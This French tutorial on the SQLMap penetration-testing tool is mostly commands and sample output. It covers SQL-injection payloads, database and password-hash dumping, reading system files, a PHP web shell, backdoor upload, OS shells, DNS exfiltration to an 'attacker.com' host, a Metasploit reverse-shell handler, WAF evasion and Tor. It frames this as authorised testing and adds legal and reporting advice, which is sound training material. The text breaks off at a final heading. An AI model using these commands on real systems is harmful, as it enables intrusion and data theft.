Aucun résultat pour cette recherche.
SQLMap - Guide Complet de A à Z¶
Table des matières¶
- Introduction
- Installation et Configuration
- Concepts Fondamentaux
- Détection et Exploitation Basique
- Options Avancées de Détection
- Extraction de Données
- Techniques d’Injection
- Contournement des Protections
- Exploitation Avancée
- Optimisation et Performance
- Cas Pratiques et Scénarios Réels
- Bonnes Pratiques et Éthique
Introduction¶
Qu’est-ce que SQLMap ?¶
SQLMap est un outil open-source d’automatisation des tests de pénétration qui détecte et exploite les vulnérabilités d’injection SQL. Il supporte une large gamme de bases de données et de techniques d’exploitation.
Bases de données supportées¶
- MySQL
- Oracle
- PostgreSQL
- Microsoft SQL Server
- Microsoft Access
- IBM DB2
- SQLite
- Firebird
- Sybase
- SAP MaxDB
- HSQLDB
- Informix
Pourquoi utiliser SQLMap ?¶
- Automatisation : Détection et exploitation automatiques
- Polyvalence : Support de multiples SGBD et techniques
- Puissance : Extraction complète de données, accès OS, élévation de privilèges
- Flexibilité : Nombreuses options de customisation
Installation et Configuration¶
Installation sur Linux (Debian/Ubuntu)¶
# Installation via apt
sudo apt update
sudo apt install sqlmap
# Vérification de l'installation
sqlmap --version
Installation depuis les sources (méthode recommandée)¶
# Cloner le dépôt officiel
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
# Accéder au répertoire
cd sqlmap-dev
# Lancer SQLMap
python3 sqlmap.py --version
Installation sur macOS¶
# Avec Homebrew
brew install sqlmap
# Ou depuis les sources (recommandé)
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python3 sqlmap.py --version
Installation sur Windows¶
# Télécharger Python 3.x depuis python.org
# Puis cloner le dépôt
git clone https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python sqlmap.py --version
Configuration initiale¶
# Créer un alias (Linux/macOS)
echo "alias sqlmap='python3 /chemin/vers/sqlmap-dev/sqlmap.py'" >> ~/.bashrc
source ~/.bashrc
# Ou ajouter au PATH
export PATH=$PATH:/chemin/vers/sqlmap-dev
Concepts Fondamentaux¶
Types d’injection SQL¶
1. Error-based (Basée sur les erreurs)¶
L’application affiche les erreurs SQL qui révèlent des informations.
# Exemple de payload
' AND 1=CONVERT(int, (SELECT @@version))--
2. Union-based (Basée sur UNION)¶
Utilise l’opérateur UNION pour combiner les résultats.
# Exemple de payload
' UNION SELECT NULL, username, password FROM users--
3. Boolean-based blind (Aveugle basée sur booléens)¶
Déduit les informations selon les réponses vrai/faux.
# Exemple de payload
' AND 1=1-- # Vrai
' AND 1=2-- # Faux
4. Time-based blind (Aveugle basée sur le temps)¶
Utilise des délais pour déduire les informations.
# Exemple de payload MySQL
' AND SLEEP(5)--
# Exemple PostgreSQL
' AND pg_sleep(5)--
5. Stacked queries (Requêtes empilées)¶
Permet d’exécuter plusieurs requêtes.
# Exemple de payload
'; DROP TABLE users--
Anatomie d’une URL vulnérable¶
http://exemple.com/page.php?id=1
↑
Point d'injection
Points d’injection courants¶
- Paramètres GET :
?id=1&cat=news - Paramètres POST : Données de formulaires
- Headers HTTP : Cookie, User-Agent, Referer
- JSON/XML : APIs REST
Détection et Exploitation Basique¶
Test simple d’une URL¶
# Test basique d'un paramètre GET
sqlmap -u "http://exemple.com/page.php?id=1"
Sortie attendue :
[INFO] testing connection to the target URL
[INFO] testing if the target URL content is stable
[INFO] target URL content is stable
[INFO] testing if GET parameter 'id' is dynamic
[INFO] GET parameter 'id' appears to be dynamic
[INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable
Test avec confirmation automatique¶
# Accepter automatiquement les choix par défaut
sqlmap -u "http://exemple.com/page.php?id=1" --batch
Test avec niveau de risque et de verbosité¶
# Niveau de verbosité élevé (1-6)
sqlmap -u "http://exemple.com/page.php?id=1" -v 3
# Niveau de risque (1-3) et de tests (1-5)
sqlmap -u "http://exemple.com/page.php?id=1" --level=5 --risk=3
Niveaux expliqués :
| Niveau | Tests effectués |
|---|---|
| 1 | GET, POST basiques |
| 2 | Cookies HTTP |
| 3 | User-Agent, Referer |
| 4 | Tests approfondis |
| 5 | Tests HOST header |
Récupérer les bases de données¶
# Lister toutes les bases de données
sqlmap -u "http://exemple.com/page.php?id=1" --dbs
Exemple de sortie :
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] shop_db
[*] test
Récupérer les tables d’une base¶
# Lister les tables de la base 'shop_db'
sqlmap -u "http://exemple.com/page.php?id=1" -D shop_db --tables
Exemple de sortie :
Database: shop_db
[4 tables]
+-----------+
| customers |
| orders |
| products |
| users |
+-----------+
Récupérer les colonnes d’une table¶
# Lister les colonnes de la table 'users'
sqlmap -u "http://exemple.com/page.php?id=1" -D shop_db -T users --columns
Exemple de sortie :
Database: shop_db
Table: users
[5 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| id | int(11) |
| username | varchar(50) |
| password | varchar(64) |
| email | varchar(100)|
| role | varchar(20) |
+----------+-------------+
Extraire les données¶
# Dumper toutes les données de la table 'users'
sqlmap -u "http://exemple.com/page.php?id=1" -D shop_db -T users --dump
Exemple de sortie :
Database: shop_db
Table: users
[3 entries]
+----+----------+----------------------------------+--------------------+-------+
| id | username | password | email | role |
+----+----------+----------------------------------+--------------------+-------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | admin@exemple.com | admin |
| 2 | john | 098f6bcd4621d373cade4e832627b4f6 | john@exemple.com | user |
| 3 | alice | 5d41402abc4b2a76b9719d911017c592 | alice@exemple.com | user |
+----+----------+----------------------------------+--------------------+-------+
Dump complet d’une base de données¶
# Extraire toutes les tables d'une base
sqlmap -u "http://exemple.com/page.php?id=1" -D shop_db --dump-all
Options Avancées de Détection¶
Test de paramètres POST¶
# Méthode 1 : Avec --data
sqlmap -u "http://exemple.com/login.php" --data="username=admin&password=test"
# Méthode 2 : Spécifier le paramètre à tester
sqlmap -u "http://exemple.com/login.php" --data="username=admin&password=test" -p username
Test avec cookies¶
# Tester un cookie spécifique
sqlmap -u "http://exemple.com/profile.php" --cookie="PHPSESSID=abc123; user_id=1" -p user_id
# Tester tous les cookies
sqlmap -u "http://exemple.com/profile.php" --cookie="PHPSESSID=abc123; user_id=1" --level=2
Test avec headers personnalisés¶
# Tester le header User-Agent
sqlmap -u "http://exemple.com/page.php?id=1" --user-agent="Mozilla/5.0*" --level=3
# Tester le header Referer
sqlmap -u "http://exemple.com/page.php?id=1" --referer="http://google.com*" --level=3
# Headers personnalisés multiples
sqlmap -u "http://exemple.com/api" --headers="X-API-Key: test123\nAuthorization: Bearer token"
Utiliser une requête depuis un fichier¶
# Capturer une requête avec Burp Suite et l'enregistrer
sqlmap -r request.txt
# Avec un paramètre spécifique marqué
sqlmap -r request.txt -p id
Exemple de fichier request.txt :
POST /login.php HTTP/1.1
Host: exemple.com
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=abc123
User-Agent: Mozilla/5.0
username=admin&password=test123
Test d’APIs REST (JSON)¶
# API avec JSON
sqlmap -u "http://api.exemple.com/user" \
--data='{"id": 1, "action": "view"}' \
--headers="Content-Type: application/json"
# Marquer le point d'injection avec *
sqlmap -u "http://api.exemple.com/user" \
--data='{"id": 1*, "action": "view"}' \
--headers="Content-Type: application/json"
Test avec authentification¶
# HTTP Basic Auth
sqlmap -u "http://exemple.com/page.php?id=1" \
--auth-type=Basic \
--auth-cred="username:password"
# HTTP Digest Auth
sqlmap -u "http://exemple.com/page.php?id=1" \
--auth-type=Digest \
--auth-cred="username:password"
Test derrière un formulaire de login¶
# Méthode complète
sqlmap -u "http://exemple.com/admin/panel.php?id=1" \
--auth-type=POST \
--auth-url="http://exemple.com/login.php" \
--auth-data="username=admin&password=secret"
Extraction de Données¶
Énumération système et utilisateurs¶
# Obtenir le nom de la base de données courante
sqlmap -u "http://exemple.com/page.php?id=1" --current-db
# Obtenir l'utilisateur courant de la BDD
sqlmap -u "http://exemple.com/page.php?id=1" --current-user
# Lister tous les utilisateurs de la BDD
sqlmap -u "http://exemple.com/page.php?id=1" --users
# Obtenir les privilèges des utilisateurs
sqlmap -u "http://exemple.com/page.php?id=1" --privileges
# Vérifier si l'utilisateur est DBA
sqlmap -u "http://exemple.com/page.php?id=1" --is-dba
Exemple de sortie :
current user: 'webapp@localhost'
database management system users [3]:
[*] 'root'@'localhost'
[*] 'webapp'@'localhost'
[*] 'backup'@'localhost'
current user is DBA: False
Extraire les hash de mots de passe¶
# Dumper les hash des utilisateurs MySQL
sqlmap -u "http://exemple.com/page.php?id=1" --passwords
# Avec tentative de crack automatique
sqlmap -u "http://exemple.com/page.php?id=1" --passwords --crack
Recherche de données sensibles¶
# Rechercher des colonnes spécifiques (mots de passe, emails, etc.)
sqlmap -u "http://exemple.com/page.php?id=1" \
-D shop_db \
--search -C password,email,credit_card
# Rechercher des tables spécifiques
sqlmap -u "http://exemple.com/page.php?id=1" \
--search -T user,admin,customer
Extraction sélective¶
# Extraire seulement certaines colonnes
sqlmap -u "http://exemple.com/page.php?id=1" \
-D shop_db -T users -C username,email --dump
# Extraire avec condition WHERE
sqlmap -u "http://exemple.com/page.php?id=1" \
-D shop_db -T users --where="role='admin'" --dump
# Limiter le nombre de lignes
sqlmap -u "http://exemple.com/page.php?id=1" \
-D shop_db -T users --start=1 --stop=10 --dump
Exporter les résultats¶
# Format CSV
sqlmap -u "http://exemple.com/page.php?id=1" \
-D shop_db -T users --dump --dump-format=CSV
# Spécifier le répertoire de sortie
sqlmap -u "http://exemple.com/page.php?id=1" \
-D shop_db --dump-all --output-dir=/tmp/sqlmap_output
Utiliser SQL personnalisé¶
# Exécuter une requête SQL personnalisée
sqlmap -u "http://exemple.com/page.php?id=1" \
--sql-query="SELECT username, email FROM users WHERE role='admin'"
# Shell SQL interactif
sqlmap -u "http://exemple.com/page.php?id=1" --sql-shell
Exemple d’utilisation du shell SQL :
sql-shell> SELECT COUNT(*) FROM users;
[12:34:56] [INFO] fetching SQL SELECT statement query output: 'SELECT COUNT(*) FROM users'
COUNT(*): '42'
sql-shell> SELECT version();
version(): '8.0.28-0ubuntu0.20.04.3'
Techniques d’Injection¶
Spécifier les techniques à utiliser¶
SQLMap supporte plusieurs techniques identifiées par des lettres :
- B : Boolean-based blind
- E : Error-based
- U : Union query-based
- S : Stacked queries
- T : Time-based blind
- Q : Inline queries
# Utiliser seulement Union et Error-based
sqlmap -u "http://exemple.com/page.php?id=1" --technique=UE
# Utiliser toutes les techniques sauf time-based (plus rapide)
sqlmap -u "http://exemple.com/page.php?id=1" --technique=BEUSQ
# Utiliser seulement time-based (plus discret)
sqlmap -u "http://exemple.com/page.php?id=1" --technique=T
UNION-based : Configuration avancée¶
# Spécifier le nombre de colonnes
sqlmap -u "http://exemple.com/page.php?id=1" --union-cols=5
# Spécifier le caractère utilisé pour tester
sqlmap -u "http://exemple.com/page.php?id=1" --union-char='a'
# Spécifier la table à utiliser dans FROM
sqlmap -u "http://exemple.com/page.php?id=1" --union-from=users
Time-based : Ajuster les délais¶
# Spécifier le délai en secondes (défaut: 5)
sqlmap -u "http://exemple.com/page.php?id=1" --time-sec=10
# Utile pour les réseaux lents ou serveurs chargés
sqlmap -u "http://exemple.com/page.php?id=1" --time-sec=3
DNS exfiltration (Out-of-band)¶
# Utiliser DNS exfiltration si disponible
sqlmap -u "http://exemple.com/page.php?id=1" --dns-domain=attacker.com
# Requiert un serveur DNS contrôlé pour recevoir les données
Injection de second ordre¶
# Activer la détection d'injection de second ordre
sqlmap -u "http://exemple.com/register.php" \
--data="username=test&email=test@test.com" \
--second-url="http://exemple.com/profile.php" \
--second-req=profile_request.txt
Contournement des Protections¶
WAF/IPS Detection et Bypass¶
# Identifier le WAF/IPS en place
sqlmap -u "http://exemple.com/page.php?id=1" --identify-waf
# Exemples de WAF détectés : Cloudflare, AWS WAF, ModSecurity, etc.
Sortie exemple :
[INFO] testing if the target is protected by some kind of WAF/IPS
[WARNING] heuristic (basic) test shows that GET parameter 'id' might be protected by some kind of WAF/IPS
[INFO] using 'Cloudflare' WAF bypass script
Scripts de Tamper¶
Les scripts de tamper modifient les payloads pour contourner les protections.
# Utiliser un script de tamper
sqlmap -u "http://exemple.com/page.php?id=1" --tamper=space2comment
# Utiliser plusieurs scripts
sqlmap -u "http://exemple.com/page.php?id=1" --tamper=space2comment,between
# Charger tous les scripts de tamper appropriés
sqlmap -u "http://exemple.com/page.php?id=1" --tamper=apostrophemask,apostrophenullencode,base64encode
Scripts de tamper populaires :
| Script | Description | Exemple |
|---|---|---|
space2comment |
Remplace les espaces par des commentaires | ' AND 1=1 → '/**/AND/**/1=1 |
between |
Remplace > par BETWEEN | id > 1 → id NOT BETWEEN 0 AND 1 |
charencode |
Encode les caractères en URL | SELECT → %53%45%4C%45%43%54 |
randomcase |
Change aléatoirement la casse | SELECT → SeLeCt |
space2plus |
Remplace les espaces par + | ' AND 1=1 → '+AND+1=1 |
space2randomblank |
Remplace par des blancs aléatoires | Utilise %09, %0A, %0C, %0D |
apostrophemask |
Remplace les apostrophes | ' → %EF%BC%87 |
base64encode |
Encode le payload en base64 | Tout le payload encodé |
htmlencode |
Encode en HTML entities | ' → ' |
Exemples de contournement WAF¶
# Contournement Cloudflare
sqlmap -u "http://exemple.com/page.php?id=1" \
--tamper=space2comment \
--random-agent \
--delay=2
# Contournement ModSecurity
sqlmap -u "http://exemple.com/page.php?id=1" \
--tamper=between,randomcase,space2comment \
--hpp
# Contournement générique
sqlmap -u "http://exemple.com/page.php?id=1" \
--tamper=charencode,randomcase \
--random-agent \
--delay=1 \
--time-sec=10
Techniques d’obfuscation¶
# Utiliser HTTP Parameter Pollution
sqlmap -u "http://exemple.com/page.php?id=1" --hpp
# Randomiser le User-Agent
sqlmap -u "http://exemple.com/page.php?id=1" --random-agent
# Utiliser un User-Agent spécifique
sqlmap -u "http://exemple.com/page.php?id=1" \
--user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
# Ajouter des délais entre les requêtes (en secondes)
sqlmap -u "http://exemple.com/page.php?id=1" --delay=2
# Randomiser les délais
sqlmap -u "http://exemple.com/page.php?id=1" --delay=2 --randomize=User-Agent,Referer
Contournement basé sur l’encodage¶
# Encoder le payload en base64
sqlmap -u "http://exemple.com/page.php?id=1" --tamper=base64encode
# Chiffrement personnalisé (créer un script tamper)
sqlmap -u "http://exemple.com/page.php?id=1" --tamper=custom_encode.py
Exemple de script tamper personnalisé (custom_encode.py) :
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Remplace les espaces par %20 et encode les guillemets
"""
if payload:
payload = payload.replace(' ', '%20')
payload = payload.replace("'", "%27")
payload = payload.replace('"', "%22")
return payload
Utiliser des proxies et Tor¶
# Utiliser un proxy HTTP
sqlmap -u "http://exemple.com/page.php?id=1" --proxy="http://127.0.0.1:8080"
# Utiliser Tor
sqlmap -u "http://exemple.com/page.php?id=1" --tor --tor-type=SOCKS5
# Vérifier que Tor fonctionne
sqlmap -u "http://exemple.com/page.php?id=1" --tor --tor-type=SOCKS5 --check-tor
# Utiliser une chaîne de proxies
sqlmap -u "http://exemple.com/page.php?id=1" \
--proxy="http://proxy1:8080" \
--proxy-cred="user:pass"
Exploitation Avancée¶
Accès au système de fichiers¶
# Lire un fichier (nécessite FILE privilege)
sqlmap -u "http://exemple.com/page.php?id=1" --file-read="/etc/passwd"
# Écrire un fichier (nécessite FILE privilege)
sqlmap -u "http://exemple.com/page.php?id=1" \
--file-write="shell.php" \
--file-dest="/var/www/html/shell.php"
# Exemple de shell.php simple
echo '<?php system($_GET["cmd"]); ?>' > shell.php
Exemple de lecture de fichier :
[INFO] fetching file: '/etc/passwd'
[INFO] the file has been downloaded to: '/home/user/.local/share/sqlmap/output/exemple.com/files/_etc_passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
Exécution de commandes système¶
# Obtenir un shell OS (nécessite privilèges élevés)
sqlmap -u "http://exemple.com/page.php?id=1" --os-shell
# Exécuter une commande unique
sqlmap -u "http://exemple.com/page.php?id=1" --os-cmd="whoami"
# Shell interactif
sqlmap -u "http://exemple.com/page.php?id=1" --os-shell --technique=E
Exemple d’utilisation du shell OS :
os-shell> whoami
www-data
os-shell> cat /etc/os-release
NAME="Ubuntu"
VERSION="20.04.3 LTS (Focal Fossa)"
os-shell> ls -la /var/www/html
total 24
drwxr-xr-x 2 www-data www-data 4096 Jan 15 10:23 .
drwxr-xr-x 3 www-data www-data 4096 Jan 10 08:15 ..
-rw-r--r-- 1 www-data www-data 1234 Jan 15 10:23 index.php
Upload et exécution de backdoor¶
# Upload automatique d'un backdoor
sqlmap -u "http://exemple.com/page.php?id=1" --os-pwn
# Spécifier la technique
sqlmap -u "http://exemple.com/page.php?id=1" \
--os-pwn \
--technique=E \
--msf-path=/usr/share/metasploit-framework
Élévation de privilèges (Windows)¶
# Utiliser UDF (User Defined Functions) pour élever les privilèges
sqlmap -u "http://exemple.com/page.php?id=1" --udf-inject
# Spécifier la DLL personnalisée
sqlmap -u "http://exemple.com/page.php?id=1" \
--udf-inject \
--shared-lib=/path/to/custom.dll
Registre Windows¶
# Lire une clé de registre
sqlmap -u "http://exemple.com/page.php?id=1" \
--reg-read \
--reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" \
--reg-value="ProductName"
# Ajouter une valeur au registre
sqlmap -u "http://exemple.com/page.php?id=1" \
--reg-add \
--reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\Test" \
--reg-value="TestValue" \
--reg-data="TestData" \
--reg-type="REG_SZ"
# Supprimer une clé
sqlmap -u "http://exemple.com/page.php?id=1" \
--reg-del \
--reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\Test"
Obtenir un reverse shell avec Metasploit¶
# Intégration avec Metasploit
sqlmap -u "http://exemple.com/page.php?id=1" \
--os-pwn \
--msf-path=/usr/share/metasploit-framework \
--priv-esc
# Dans un autre terminal, démarrer Metasploit
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
exploit
Pivoting et post-exploitation¶
# Énumérer les hôtes du réseau interne (via SQL Server)
sqlmap -u "http://exemple.com/page.php?id=1" \
--sql-query="EXEC xp_cmdshell 'ipconfig /all'"
# Scanner le réseau interne
sqlmap -u "http://exemple.com/page.php?id=1" \
--os-cmd="for /L %i in (1,1,254) do @ping -n 1 192.168.1.%i | find \"TTL\""
Optimisation et Performance¶
Gestion du threading¶
# Augmenter le nombre de threads (défaut: 1, max: 10)
sqlmap -u "http://exemple.com/page.php?id=1" --threads=5
# Attention : trop de threads peuvent déclencher des protections
sqlmap -u "http://exemple.com/page.php?id=1" --threads=10 --batch
Optimisation de la détection¶
# Test rapide (moins précis)
sqlmap -u "http://exemple.com/page.php?id=1" --smart
# Arrêter après la première injection trouvée
sqlmap -u "http://exemple.com/page.php?id=1" --stop-at-first
# Ne pas tester les autres paramètres
sqlmap -u "http://exemple.com/page.php?id=1" -p id
Utilisation du cache¶
# Désactiver le cache (forcer un nouveau scan)
sqlmap -u "http://exemple.com/page.php?id=1" --flush-session
# Conserver les données de session
sqlmap -u "http://exemple.com/page.php?id=1" --keep-alive
Optimisation réseau¶
# Réduire les timeouts
sqlmap -u "http://exemple.com/page.php?id=1" --timeout=10
# Nombre de tentatives en cas d'échec
sqlmap -u "http://exemple.com/page.php?id=1" --retries=2
# Keep-alive HTTP
sqlmap -u "http://exemple.com/page.php?id=1" --keep-alive
# Compression HTTP
sqlmap -u "http://exemple.com/page.php?id=1" --compression
Mode batch et automatisation¶
# Mode non-interactif complet
sqlmap -u "http://exemple.com/page.php?id=1" --batch --answers="extending=N,follow=N"
# Scripts d'automatisation
for url in $(cat urls.txt); do
sqlmap -u "$url" --batch --dbs --threads=5
done
Gestion de la mémoire et des logs¶
# Désactiver les logs
sqlmap -u "http://exemple.com/page.php?id=1" --disable-coloring --batch -v 0
# Limiter la taille des dumps
sqlmap -u "http://exemple.com/page.php?id=1" -D mydb -T users --start=1 --stop=100 --dump
# Sauvegarder les résultats dans un format optimisé
sqlmap -u "http://exemple.com/page.php?id=1" --dump-format=SQLITE
Cas Pratiques et Scénarios Réels¶
Scénario 1 : Application de e-commerce¶
Contexte : Site de vente en ligne avec recherche de produits.
# Étape 1 : Détection initiale
sqlmap -u "http://shop.exemple.com/product.php?id=42" --batch
# Étape 2 : Énumération
sqlmap -u "http://shop.exemple.com/product.php?id=42" --dbs --batch
# Étape 3 : Cibler la base de données
sqlmap -u "http://shop.exemple.com/product.php?id=42" -D shop --tables
# Étape 4 : Extraire les données sensibles
sqlmap -u "http://shop.exemple.com/product.php?id=42" \
-D shop -T customers \
-C customer_id,email,password,credit_card \
--dump \
--where="customer_id < 100"
# Étape 5 : Rechercher des administrateurs
sqlmap -u "http://shop.exemple.com/product.php?id=42" \
-D shop -T users \
--where="role='admin'" \
--dump
Scénario 2 : Panel d’administration protégé¶
Contexte : Interface admin protégée par cookie.
# Étape 1 : Intercepter la requête avec Burp Suite
# Sauvegarder dans admin_request.txt
# Étape 2 : Tester avec SQLMap
sqlmap -r admin_request.txt --batch
# Étape 3 : Contourner le WAF détecté
sqlmap -r admin_request.txt \
--identify-waf \
--tamper=space2comment,between \
--random-agent \
--delay=1
# Étape 4 : Obtenir un shell
sqlmap -r admin_request.txt \
--os-shell \
--technique=E \
--batch
Scénario 3 : API REST avec JSON¶
Contexte : API mobile avec authentification par token.
# Étape 1 : Tester l'endpoint API
sqlmap -u "https://api.exemple.com/v1/user/profile" \
--data='{"user_id": 123}' \
--headers="Content-Type: application/json\nAuthorization: Bearer eyJhbGc..." \
--batch
# Étape 2 : Marquer le point d'injection
sqlmap -u "https://api.exemple.com/v1/user/profile" \
--data='{"user_id": 123*}' \
--headers="Content-Type: application/json\nAuthorization: Bearer eyJhbGc..." \
--level=5 \
--risk=3
# Étape 3 : Extraction
sqlmap -u "https://api.exemple.com/v1/user/profile" \
--data='{"user_id": 123*}' \
--headers="Content-Type: application/json\nAuthorization: Bearer eyJhbGc..." \
--dbs \
--threads=3
Scénario 4 : Injection blind time-based complexe¶
Contexte : Application qui ne retourne jamais d’erreurs.
# Étape 1 : Forcer time-based uniquement
sqlmap -u "http://exemple.com/search.php?q=test" \
--technique=T \
--time-sec=5 \
--batch
# Étape 2 : Extraction lente mais sûre
sqlmap -u "http://exemple.com/search.php?q=test" \
--technique=T \
--current-db \
--threads=1 \
--time-sec=3
# Étape 3 : Optimiser l'extraction
sqlmap -u "http://exemple.com/search.php?q=test" \
--technique=T \
-D discovered_db \
--tables \
--time-sec=2 \
--threads=3
Scénario 5 : Application multi-paramètres¶
Contexte : Page avec de nombreux paramètres GET.
# URL : http://exemple.com/page.php?id=1&cat=news&lang=en&order=asc
# Étape 1 : Tester tous les paramètres
sqlmap -u "http://exemple.com/page.php?id=1&cat=news&lang=en&order=asc" \
--level=3 \
--batch
# Étape 2 : Tester un paramètre spécifique
sqlmap -u "http://exemple.com/page.php?id=1&cat=news&lang=en&order=asc" \
-p cat \
--dbs
# Étape 3 : Tester plusieurs paramètres
sqlmap -u "http://exemple.com/page.php?id=1&cat=news&lang=en&order=asc" \
-p "id,cat,order" \
--batch
Scénario 6 : Injection via User-Agent¶
Contexte : Vulnérabilité dans le logging du User-Agent.
# Étape 1 : Test de niveau élevé (teste les headers)
sqlmap -u "http://exemple.com/page.php" \
--level=3 \
--batch \
--user-agent="Mozilla/5.0*"
# Étape 2 : Cibler spécifiquement le User-Agent
sqlmap -u "http://exemple.com/page.php" \
--level=5 \
--headers="User-Agent: Mozilla/5.0*" \
--dbs
Scénario 7 : Dump massif et automatisation¶
Contexte : Extraction complète d’une base de données importante.
# Script d'automatisation complète
#!/bin/bash
TARGET="http://exemple.com/page.php?id=1"
OUTPUT_DIR="./sqlmap_results"
# Étape 1 : Détection
echo "[*] Détection de la vulnérabilité..."
sqlmap -u "$TARGET" --batch --current-db > "$OUTPUT_DIR/01_detection.txt"
# Étape 2 : Énumération des BDD
echo "[*] Énumération des bases de données..."
sqlmap -u "$TARGET" --batch --dbs > "$OUTPUT_DIR/02_databases.txt"
# Étape 3 : Pour chaque BDD, dump complet
DBS=$(sqlmap -u "$TARGET" --batch --dbs | grep "\[*\]" | awk '{print $2}')
for db in $DBS; do
echo "[*] Dumping database: $db"
sqlmap -u "$TARGET" \
-D "$db" \
--dump-all \
--threads=5 \
--batch \
--output-dir="$OUTPUT_DIR/$db"
done
echo "[+] Extraction terminée dans $OUTPUT_DIR"
Bonnes Pratiques et Éthique¶
Aspects légaux¶
⚠️ AVERTISSEMENT IMPORTANT ⚠️
L'utilisation de SQLMap est soumise à des restrictions légales strictes :
✅ AUTORISÉ :
- Tests sur vos propres applications
- Pentests avec autorisation écrite
- Environnements de formation et CTF
- Recherche en sécurité avec permission
❌ INTERDIT :
- Tests sans autorisation explicite
- Accès non autorisé à des systèmes
- Exfiltration de données sans permission
- Utilisation malveillante
Autorisation et documentation¶
# Exemple de checklist avant un test
## 1. Autorisation écrite obtenue ? [OUI/NON]
## 2. Périmètre clairement défini ? [OUI/NON]
## 3. Période de test convenue ? [OUI/NON]
## 4. Contacts d'urgence identifiés ? [OUI/NON]
## 5. Backup des données critiques ? [OUI/NON]
Document d’autorisation type :
AUTORISATION DE TEST DE PÉNÉTRATION
Je soussigné [NOM], [TITRE] de [ENTREPRISE],
autorise [PENTESTER] à effectuer des tests de
sécurité sur les systèmes suivants :
- URL/IP : http://exemple.com
- Périmètre : Application web uniquement
- Période : Du [DATE] au [DATE]
- Restrictions : Pas de DoS, pas de délétion
Signature : ________________
Date : ________________
Minimiser l’impact¶
# 1. Limiter les threads
sqlmap -u "http://exemple.com/page.php?id=1" --threads=1
# 2. Ajouter des délais
sqlmap -u "http://exemple.com/page.php?id=1" --delay=3
# 3. Éviter les dumps complets en production
sqlmap -u "http://exemple.com/page.php?id=1" \
-D mydb -T users \
--start=1 --stop=5 \
--dump
# 4. Utiliser le mode smart
sqlmap -u "http://exemple.com/page.php?id=1" --smart
# 5. Tester en dehors des heures de pointe
# Planifier les scans entre 22h et 6h par exemple
Bonnes pratiques de sécurité¶
# 1. Utiliser un environnement isolé
# Lancer SQLMap depuis une VM dédiée
# 2. Chiffrer les résultats sensibles
tar -czf results.tar.gz ~/.local/share/sqlmap/output/
gpg -c results.tar.gz # Chiffrer avec mot de passe
rm results.tar.gz
# 3. Nettoyer les logs après usage
sqlmap --purge # Supprime toute la session cache
# 4. Ne jamais commit les résultats dans Git
echo ".local/share/sqlmap/" >> ~/.gitignore
Reporting professionnel¶
Structure d’un rapport SQLMap :
# Rapport de Test d'Injection SQL
## Informations générales
- Date : [DATE]
- Testeur : [NOM]
- Cible : [URL/APPLICATION]
- Autorisation : [RÉFÉRENCE DOCUMENT]
## Résumé exécutif
- Vulnérabilité : Injection SQL
- Sévérité : CRITIQUE
- Impact : Accès complet à la base de données
- Recommandation : Correction immédiate requise
## Détails techniques
### Localisation
- URL : http://exemple.com/page.php
- Paramètre : id (GET)
- Type d'injection : Error-based, Union-based
### Reproduction
```bash
sqlmap -u "http://exemple.com/page.php?id=1" --dbs
Données exposées¶
- 5 bases de données identifiées
- 127 tables accessibles
- 45,000+ enregistrements d’utilisateurs
- Hash de mots de passe (MD5, non salés)
Preuve de concept¶
[SCREENSHOT de l’extraction]
Recommandations¶
Court terme (Immédiat)¶
- Désactiver la page vulnérable
- Bloquer les requêtes malveillantes via WAF
- Auditer les logs pour détection d’exploitation
Moyen terme (1 semaine)¶
- Implémenter des requêtes préparées (Prepared Statements)
- Validation stricte des entrées utilisateur
- Principe du moindre privilège pour les comptes DB
Long terme (1 mois)¶
- Audit complet de l’application
- Formation des développeurs
- Mise en place de tests de sécurité automatisés
Références¶
- OWASP Top 10 : A03:2021 – Injection
- CWE-89: SQL Injection
- CVSS Score : 9.8 (Critique)
### Alternatives et outils complémentaires
```bash
# 1. Validation manuelle après SQLMap
# Ne jamais se fier uniquement à l'automatisation
# 2. Utiliser d'autres outils pour confirmation
# - jSQL Injection (GUI)
# - NoSQLMap (pour NoSQL)
# - Havij (Windows, obsolète mais éducatif)
# 3. Tests manuels ciblés
curl "http://exemple.com/page.php?id=1'" -v
# Observer la réponse pour confirmer l'erreur SQL
# 4. Burp Suite pour affiner
# Intercepter et modifier les requêtes SQLMap
Formation continue¶
Ressources recommandées :
-
Plateformes de pratique légale : - DVWA (Damn Vulnerable Web Application) - SQLi-Labs - HackTheBox - TryHackMe - PortSwigger Web Security Academy
-
Documentation officielle : - https://github.com/sqlmapproject/sqlmap/wiki - OWASP SQL Injection Prevention Cheat Sheet
-
Environnement de test local :
# Installer DVWA localement
git clone https://github.com/digininja/DVWA.git
cd DVWA
# Suivre les instructions d'installation
# Tester SQLMap en toute légalité
sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=..." \
--batch
Checklist finale avant un test¶
□ Autorisation écrite obtenue et archivée
□ Périmètre validé avec le client
□ Environnement de test configuré
□ Backup des données effectué (si applicable)
□ WAF/IPS configuré en mode monitoring (pas blocage)
□ Contacts d'urgence identifiés
□ Fenêtre de maintenance planifiée
□ Outils à jour (sqlmap --update)
□ Méthodologie documentée
□ Plan de reporting préparé
Annexes¶
Aide-mémoire des commandes essentielles¶
# Détection de base
sqlmap -u "[URL]" --batch
# Énumération complète
sqlmap -u "[URL]" --dbs --tables --columns --dump-all
# Test rapide
sqlmap -u "[URL]" --smart --batch
# Contournement WAF
